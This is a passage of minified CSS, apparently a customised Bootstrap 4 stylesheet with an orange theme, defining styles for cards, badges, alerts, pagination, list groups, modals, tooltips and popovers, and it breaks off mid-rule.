.list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(0, 0, 0, 0.03);border-bottom:1px solid rgba(0, 0, 0, 0.125)}.card-header:first-child{border-radius:calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(0, 0, 0, 0.03);border-top:1px solid rgba(0, 0, 0, 0.125)}.card-footer:last-child{border-radius:0 0 calc(0.25rem - 1px) calc(0.25rem - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0.25rem - 1px);border-top-right-radius:calc(0.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0.25rem - 1px);border-bottom-left-radius:calc(0.25rem - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion>.card{overflow:hidden}.accordion>.card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion>.card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion>.card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.accordion>.card .card-header{margin-bottom:-1px}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:0.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:0.5rem}.breadcrumb-item+.breadcrumb-item:before{display:inline-block;padding-right:0.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover:before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover:before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0.25rem}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#fb771a;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#c55303;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem}.page-item:last-child .page-link{border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#fb771a;border-color:#fb771a}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0.3rem;border-bottom-left-radius:0.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0.3rem;border-bottom-right-radius:0.3rem}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0.2rem;border-bottom-left-radius:0.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0.2rem;border-bottom-right-radius:0.2rem}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{-webkit-transition:none;-o-transition:none;transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#fb771a}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#de5e04}a.badge-primary.focus,a.badge-primary:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5);box-shadow:0 0 0 0.2rem rgba(108, 117, 125, 0.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5);box-shadow:0 0 0 0.2rem rgba(23, 162, 184, 0.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5);box-shadow:0 0 0 0.2rem rgba(255, 193, 7, 0.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5);box-shadow:0 0 0 0.2rem rgba(220, 53, 69, 0.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5);box-shadow:0 0 0 0.2rem rgba(248, 249, 250, 0.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5);box-shadow:0 0 0 0.2rem rgba(52, 58, 64, 0.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:0.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#833e0e;background-color:#fee4d1;border-color:#fed9bf}.alert-primary hr{border-top-color:#fecaa6}.alert-primary .alert-link{color:#552809}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{0%{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{0%{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#e9ecef;border-radius:0.25rem}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#fb771a;-webkit-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{-webkit-transition:none;-o-transition:none;transition:none}}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0, 0, 0, 0.125)}.list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#fb771a;border-color:#fb771a}.list-group-horizontal{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.list-group-horizontal .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal .list-group-item:first-child{border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem;border-top-right-radius:0}.list-group-horizontal .list-group-item:last-child{margin-right:0;border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0}@media (min-width:576px){.list-group-horizontal-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-sm .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-sm .list-group-item:first-child{border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem;border-top-right-radius:0}.list-group-horizontal-sm .list-group-item:last-child{margin-right:0;border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0}}@media (min-width:768px){.list-group-horizontal-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-md .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-md .list-group-item:first-child{border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem;border-top-right-radius:0}.list-group-horizontal-md .list-group-item:last-child{margin-right:0;border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0}}@media (min-width:992px){.list-group-horizontal-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-lg .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-lg .list-group-item:first-child{border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem;border-top-right-radius:0}.list-group-horizontal-lg .list-group-item:last-child{margin-right:0;border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0}}@media (min-width:1200px){.list-group-horizontal-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-xl .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-xl .list-group-item:first-child{border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem;border-top-right-radius:0}.list-group-horizontal-xl .list-group-item:last-child{margin-right:0;border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0}}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush .list-group-item:last-child{margin-bottom:-1px}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{margin-bottom:0;border-bottom:0}.list-group-item-primary{color:#833e0e;background-color:#fed9bf}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#833e0e;background-color:#fecaa6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#833e0e;border-color:#833e0e}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none}a.close.disabled{pointer-events:none}.toast{max-width:350px;overflow:hidden;font-size:0.875rem;background-color:rgba(255, 255, 255, 0.85);background-clip:padding-box;border:1px solid rgba(0, 0, 0, 0.1);-webkit-box-shadow:0 0.25rem 0.75rem rgba(0, 0, 0, 0.1);box-shadow:0 0.25rem 0.75rem rgba(0, 0, 0, 0.1);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);opacity:0;border-radius:0.25rem}.toast:not(:last-child){margin-bottom:0.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.25rem 0.75rem;color:#6c757d;background-color:rgba(255, 255, 255, 0.85);background-clip:padding-box;border-bottom:1px solid rgba(0, 0, 0, 0.05)}.toast-body{padding:0.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;-o-transition:transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -50px);-ms-transform:translate(0, -50px);transform:translate(0, -50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{-webkit-transition:none;-o-transition:none;transition:none}}.modal.show .modal-dialog{-webkit-transform:none;-ms-transform:none;transform:none}.modal.fade2 .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;-o-transition:transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, 0px);-ms-transform:translate(0, 0px);transform:translate(0, 0px)}@media (prefers-reduced-motion:reduce){.modal.fade2 .modal-dialog{-webkit-transition:none;-o-transition:none;transition:none}}.modal-dialog-scrollable{display:-webkit-box;display:-ms-flexbox;display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{-ms-flex-negative:0;flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered:before{display:block;height:calc(100vh - 1rem);content:""}.modal-dialog-centered.modal-dialog-scrollable{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable:before{content:none}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0, 0, 0, 0.2);border-radius:0.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.fade2{opacity:0}.modal-backdrop.show{opacity:0.2}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:0.3rem;border-top-right-radius:0.3rem}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #dee2e6;border-bottom-right-radius:0.3rem;border-bottom-left-radius:0.3rem}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered:before{height:calc(100vh - 3.5rem)}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow:before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:0.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow:before,.bs-tooltip-top .arrow:before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 0.4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-auto[x-placement^=right] .arrow:before,.bs-tooltip-right .arrow:before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:0.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow:before,.bs-tooltip-bottom .arrow:before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 0.4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-auto[x-placement^=left] .arrow:before,.bs-tooltip-left .arrow:before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:0.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0, 0, 0, 0.2);border-radius:0.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0.3rem}.popover .arrow:after,.popover .arrow:before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:0.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top]>.arrow:before,.bs-popover-top>.arrow:before{bottom:0;border-width:0.5rem 0.5rem 0;border-top-color:rgba(0, 0, 0, 0.25)}.bs-popover-auto[x-placement^=top]>.arrow:after,.bs-popover-top>.arrow:after{bottom:1px;border-width:0.5rem 0.5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:0.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow:before,.bs-popover-right>.arrow:before{left:0;border-width:0.5rem 0.5rem 0.5rem 0;border-right-color:rgba(0, 0, 0, 0.25)}.bs-popover-auto[x-placement^=right]>.arrow:after,.bs-popover-right>.arrow:after{left:1px;border-width:0.5rem 0.5rem 0.5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:0.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom]>.arrow:before,.bs-popover-bottom>.arrow:before{top:0;border-width:0 0.5rem 0.5rem 0.5rem;border-bottom-color:rgba(0, 0, 0, 0.25)}.bs-popover-auto[x-placement^=bottom]>.arrow:after,.bs-popover-bottom>.arrow:after{top:1px;border-width:0 0.5rem 0.5rem 0.5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header:before,.bs-popover-bottom .popover-header:before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:0.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow:before,.bs-popover-left>.arrow:before{right:0;border-width:0.5rem 0 0.5rem 0.5rem;border-left-color:rgba(0, 0, 0, 0.25)}.bs-popover-auto[x-placement^=left]>.arrow:after,.bs-popover-left>.arrow:after{right:1px;border-width:0.5rem 0 0.5rem 